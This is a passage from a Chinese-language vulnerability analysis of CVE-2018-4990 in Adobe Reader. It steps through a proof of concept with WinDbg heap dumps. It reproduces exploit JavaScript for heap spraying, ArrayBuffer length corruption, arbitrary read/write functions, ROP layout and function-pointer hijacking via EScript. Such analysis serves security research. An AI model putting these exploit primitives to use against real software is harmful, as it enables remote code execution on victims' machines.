        05fbdd70 0081 0081  [00]   05fbdd78    00400 - (busy)
        ......

回忆前面分析漏洞的时候我们知道, 越界访问的那个数组分配的大小是 0x3f4, 有了上面的空洞, 这样在分配这个数组时就会落在空洞里, 由于 POC 已经在内存中布局好了越界访问时要释放的值, 这样分配时落在空洞, 越界访问释放时就会释放掉提前设置的那两个值了.

继续查看 POC, 接下来就是触发越界访问的代码了, 这里我们下断, 看看越界访问释放了那两个指定地址后后会发生什么:

; free 0d0e0048
0:000> !heap -p -a 0d0e0048 
    address 0d0e0048 found in
    _HEAP @ f90000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0e0040 2000 0000  [00]   0d0e0048    0fff8 - (free)
; free 0d0f0048
0:000> !heap -p -a 0d0f0048 
    address 0d0f0048 found in
    _HEAP @ f90000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0e0040 4000 0000  [00]   0d0e0048    1fff8 - (free)

可以看到, 在释放了 0x0d0f0048 后, 它和前面的 0xd0e0048 合并成了一个大小为 0x1fff8 的空闲块. 接着 POC 分配了 0×40 个大小为 0×20000 – 24 的 ArrayBffer, 这里会导致这个空闲块被分配, 并且大小为 0x1fff8:

0:012> !heap -p -a 0d0e0048
    address 0d0e0048 found in
    _HEAP @ 420000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0e0040 4000 0000  [00]   0d0e0048    1fff8 - (busy)
0:012> dd 0d0e0048 lc
0d0e0048  00000000 0001ffe8 00000000 00000000
0d0e0058  00000000 00000000 00000000 00000000
0d0e0068  00000000 00000000 00000000 00000000

然后 POC 遍历之前分配的那 0×1000 个大小为 0×10000 – 24 的对象数据, 找到这个大小为 0x1fff8 的块, 然后使用 setUint32 将偏移为 0×10000 – 24 的位置设置为 0×66666666, 这个位置也就是之前 0x0d0f0048 这个块的大小位置:

0:012> dd 0d0f0048 Lc
0d0f0048  00000000 66666666 00000000 00000000
0d0f0058  00000000 00000000 00000000 00000000
0d0f0068  00000000 00000000 00000000 00000000

可以看到, 0x0d0f0048 的大小位置被修改成了 0×66666666, 这样我们就获得了一个能访问很大范围的 ArrayBuffer. 接着 POC 找到这个大小 为 0×66666666 的块, 用它创建一个 DataView.

接着到如下代码:

for(var i2 = 1;i2<0x10;i2++) {
    arr1[i2] = new Uint32Array(sprayarr[i1+i2]);
    arr1[i2][0] = i2;
}

这里 i1 就是当初分配那些 0×10000 – 24 大小的块时, 0x0d0f0048 这个块在 sprayarr 中的中索引, 这里用该索引后面的块创建 Uint32Array, 并将第一个元素设置为索引值(这里可以用前面插入代码获取对象地址的方法查看 sprayarr 中相应位置的对象).

接下来执行到如下代码:

for(var i2=0x30000;i2<0x10000*0x10;i2=i2+4) {
    if( biga.getUint32(i2,true)==spraylen && biga.getUint32(i2+4,true) > spraypos  )
        ...

这里通过前面长度为 0×66666666 的块获取查找两个值, 这里调用 getUint32 时, i2 作为偏移, 而基址是这个大块的地址, 也就是 0x0d0f0058(0x0d0f0048 是堆 UserPtr, 使用从偏移 0×10 字节开始). 这里其实是从 0x0d0f0048 这个块后面偏移 0×30000 开始, 也就是其它的一些大小为 0×10000 – 24 的块开始查找(通过之前的方法可以测试得知, sprayarr 中的块按索引是连续的, 也就是说比如 i1 是 0x0d0f0048 块的索引, 那么 i1 + 1 处的块地址是 0x0d100048). 这里就是从 sprayarr[i1] 后面的第三个块开始, 此时我们可以在 if 块里增加打印 i2 值的代码, 看看匹配条件时 i2 的值是多少, 这里获得 i2 值是 0x3fff4, 我们在 Windbg 计算查看一下该处的值是什么:

0:012> dd 0x0d0f0058 + 0x3fff4
0d13004c  0000ffe8 1b297138 00000000 00000004
0d13005c  00000000 00000000 00000000 00000000
0d13006c  00000000 00000000 00000000 00000000
0d13007c  00000000 00000000 00000000 00000000
0:012> dd 1b297138 
1b297138  066b2b68 06625c00 00000000 66f89128
1b297148  00000000 00000000 00000000 ffffff81
1b297158  0000ffe8 ffffff81 087c0b40 ffffff87
1b297168  00000000 00000000 00000002 00000000
1b297178  00003ffa ffffff81 00000005 ffffff81
1b297188  0d130058 00000000 066b2b68 06625c00

我们可以看到, 这是第一元素被写为 4 的大小为 0×10000 – 24 的块(第一个元素实在填充 arr1 的循环中写入的), 通过用地址减去 0x0d0f0058 也可知道这是 0x0d0f0058 后面的第四个块, 这里比较的两个值第一个是块长度, 第二个此时不知道什么意思, 不过看 dump 出的内存很眼熟, 应该是 Uint32Array 对象的结构, 猜测是指向 Uint32Array 的指针, 因为在填充 arr1 的循环中用这些 ArrayBuffer 创建了 Uint32Array, 所以这里赋了这个值. 这里我们在前面填充 arr1 的循环后面插入如下代码验证一下:

var my_array = new Array(0x10);
my_array[0] = 0x23badbad;
my_array[1] = sprayarr[i1 + 1];
my_array[2] = sprayarr[i1 + 2];
my_array[3] = arr1[1];
my_array[4] = arr1[2];
app.alert("23333333333");

弹框后附加查看:

0:012> s -d 0x10000 L?7fffffff 0x23badbad
1834d9b8  23badbad ffffff81 087c0978 ffffff87  ...#....x.|.....
0:012> dd 1834d9b8  Lc
1834d9b8  23badbad ffffff81 087c0978 ffffff87
1834d9c8  087c0a10 ffffff87 1b297030 ffffff87
1834d9d8  1b297088 ffffff87 066ee420 ffffff87
0:012> dd 087c0978 Lc
087c0978  066b2b20 06625be0 00000000 0d100058
087c0988  00000000 00000000 00000000 00000004
087c0998  087a2818 00000000 00000000 00000000
0:012> dd 0d100058 - 10 Lc 
0d100048  00000000 0000ffe8 1b297030 00000000
0d100058  00000001 00000000 00000000 00000000
0d100068  00000000 00000000 00000000 00000000
0:012> dd 087c0a10 Lc
087c0a10  066b2b20 06625be0 00000000 0d110058
087c0a20  00000000 00000000 00000000 00000004
087c0a30  087a2818 00000000 00000000 00000000
0:012> dd 0d110058 - 10 Lc
0d110048  00000000 0000ffe8 1b297088 00000000
0d110058  00000002 00000000 00000000 00000000
0d110068  00000000 00000000 00000000 00000000

可以看到, 创建了 Uint32Array 的 ArrayBuffer 的块长度后面的指针就是相应 Uint32Array 对象的地址. 接着执行下面的代码:

mydv = biga;
var itmp = mydv.getUint32(i2+12,true);
myarray = arr1[itmp];
mypos = biga.getUint32(i2+4,true) - spraypos +0x50;
mydv.setUint32(mypos-0x10,0x100000,true);
myarraybase = mydv.getUint32(mypos,true);

这里首先获取 i2 + 12 偏移处的值, 从前面的内存我们可以知道, 这里获取的是写入的索引 4, 然后用索引获取 arr1 中相应的 Uint32Array 对象. 然后计算一个该 Uint32Array 对象的地址到 0x0d0f0058 的偏移, 接着使用 setUint32 修改该 mypos – 0×10, 我们知道, 这里访问时是访问的 0x0d0f0058 + mypos – 0×10, 其实就是修改该的 Uint32Array 对象偏移 0×40 处的值, 我们查看一个 Uint32Array 对象可以知道, 这里正常情况下是元素的个数, 也就是总字节数 / 4 后的值, 这里将其修改为 0×100000. 然后再获取 Uint32Array 对象偏移 0×50 处的值给 myarraybase, 该处的值是实际存储数据的指针, 此时此刻, 这个 Uint32Array 对象该处存的指针就是写入索引 4 的那块内存.

然后接下来的操作就是通过下面两个函数了:

function myread(addr) {
    mydv.setUint32(mypos,addr,true);
    var res = myarray[0];
    mydv.setUint32(mypos,myarraybase,true);
    return res;
}
function mywrite(addr,value) {
    mydv.setUint32(mypos,addr,true);
    myarray[0] = value ;
    mydv.setUint32(mypos,myarraybase,true);
}

这里读取时, 首先将 Uin32Array 对象的实际存储数据指针替换为指定地址, 然后直接访问, 这样就获取了该地址处的值, 最后再写入原实际存储数据指针值. 写入时原理相同, 都是通过替换实际存储数据指针来完成的.

有了读写函数, 接下来 POC 通过这两个函数获取计算 Escript 模块的基址, 然后布局 ROP. 最后通过修改 bookmarkRoot 的一个函数指针执行 ROP. 这里我们断在 ROP 第一个地址, 也就是下面代码计算的地址:

mywrite(objescript+0x598,offset("sp1")-0x640c0000+dll_base);

断下后, 首先推测是通过函数调用过来的, 这里我们看下:

0:000> ub poi(esp) L8
EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x5aad8:
66ae18e3 50              push    eax
66ae18e4 e8e466f9ff      call    EScript!mozilla::HashBytes+0x4794f (66a77fcd)
66ae18e9 59              pop     ecx
66ae18ea 85c0            test    eax,eax
66ae18ec 740f            je      EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x5aaf2 (66ae18fd)
66ae18ee 50              push    eax
66ae18ef a1548dc766      mov     eax,dword ptr [EScript!double_conversion::DoubleToStringConverter::kBase10MaximalLength+0xab830 (66c78d54)]
66ae18f4 ff9098050000    call    dword ptr [eax+598h]

可以看到, 确实是通过函数调用过来的, 这里从 EScript 的一个地址处获得一个值, 并调用偏移 0×598 处的函数, 这下就能理解 POC 里面的操作什么意思了. 最后, POC 里的 Shellcode 有问题, 会导致奔溃, 主要原因是在如下代码中:

for(var i2=0;i2< rop1.length ;i2=i2+1) {
    myarray[i2+3] = rop1[i2] >  0x640c0000 ?(rop1[i2] - 0x640c0000 +dll_base):rop1[i2];
}
myarray[i2+3-2] = 0x90909090;
for(var i3=0;i3< dlldata.length ;i3=i3+1)

这里在设置 ROP 时, 判断是否大于 0x640c0000, 大于就减去并加模块基址, 但是 ROP 里有个 0×90909090, 本意是滑块指令, 但是写入时却被改变, 导致执行指令时异常导致奔溃.

参考

Taking apart a double zero-day sample discovered in joint hunt with ESET

CVE-2018-4990 POC

CVE-2018-4990 Adobe Reader 代码执行漏洞利用分析

CVE-2018-4990 Acrobat Reader堆内存越界访问释放漏洞分析

*本文作者: